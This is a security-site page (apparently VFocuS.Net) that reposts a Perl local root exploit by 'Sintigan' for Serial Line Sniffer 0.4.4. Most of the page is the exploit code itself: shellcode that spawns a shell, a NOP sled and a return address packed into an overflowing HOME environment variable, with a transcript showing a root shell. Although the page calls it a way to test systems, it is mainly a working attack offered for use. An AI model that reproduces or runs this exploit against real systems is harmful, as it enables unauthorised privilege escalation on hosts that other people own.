首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Serial Line Sniffer Buffer Overflow
来源:http://shellcoders.com/sintigan/slsnif-ploit.pl 作者:Sintigan 发布时间:2006-01-16  

Serial Line Sniffer Buffer Overflow (Exploit)


Summary
slsnif is "a serial port logging utility. It listens to the specified serial port and logs all data going through this port in both directions".

Serial Line Sniffer Buffer has been found to be vulnerable to buffer overflow, the following exploit code can be used to test your system for the mentioned vulnerability.

Credit:
The information has been provided by Sintigan.
The original article can be found at: http://shellcoders.com/sintigan/slsnif-ploit.pl

Details
Vulnerable Systems:
* Serial Line Sniffer version 0.4.4

Exploit:
# Author: Sintigan@shellcoders.com
# http://www.shellcoders.com/
# ----------------------------------------
# Program ID: Serial Line Sniffer 0.4.4
#
# sintigan@midnight:/home/sintigan$ perl slsnif-ploit.pl
# sh-3.00# id
# uid=0(root) gid=100(users) groups=100(users)
# ---------------------------------------
#
# Greetz to Elohimus, Melkor, Modzilla, tgo, asTHma, and bk
# and whoever else i forgot
#

#!/usr/bin/perl
$shellcode = "\x31\xdb\x8d\x43\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73" . "\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

$buf = 288;
$ret = 0xbffff3a0;
$nop = "\x90";
$offset = -250;

if (@ARGV == 1) { $offset = $ARGV[0]; }

for ($i = 0; $i < ($buf - length($shellcode) - 100); $i++) {
$buffer .= $nop;
}

$buffer .= $shellcode;
$addr = pack('l', ($ret + $offset));
for ($i += length($shellcode); $i < $buf; $i += 4) {
$buffer .= $addr;
}
$ENV{'HOME'} = $buffer; exec("/usr/local/bin/slsnif");



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·漏洞名称:Microsoft Windows图形
·Microsoft Windows Metafile (WM
·eStara Softphone buffer overfl
·HomeFTP versions 1.1 and below
·xmame -lang local buffer overf
·Farmers WIFE version 4.4 sp1 f
·Cisco IP Phone 7940 remote den
·Xmame 0.102 (-lang) Local Buff
·Magic News Plus <=1.0.3 Adm
·VERITAS NetBackup Volume Manag
·Venom Board version 1.22 SQL I
·SimpleBlog version 2.1 is susc
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved